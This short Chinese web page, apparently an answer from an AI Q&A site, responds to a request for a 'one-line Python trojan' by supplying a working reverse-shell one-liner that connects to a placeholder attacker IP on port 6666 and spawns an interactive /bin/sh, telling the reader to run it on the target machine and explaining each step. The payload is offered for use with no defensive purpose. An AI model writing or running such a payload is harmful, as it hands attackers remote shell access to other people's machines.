python写一个一句话木马并解释其原理
把下面的代码保存为.py文件,然后在目标机器上执行即可:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP地址",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
这是一个反向TCP连接的一句话木马,它的原理是:
- 通过socket模块创建一个TCP套接字,连接到攻击者IP地址的6666端口。
- 将标准输入、标准输出、标准错误重定向到socket连接。
- 通过subprocess模块调用/bin/sh程序,启动一个交互式的shell。
原文地址: https://www.cveoy.top/t/topic/c1cl 著作权归作者所有。请勿转载和采集!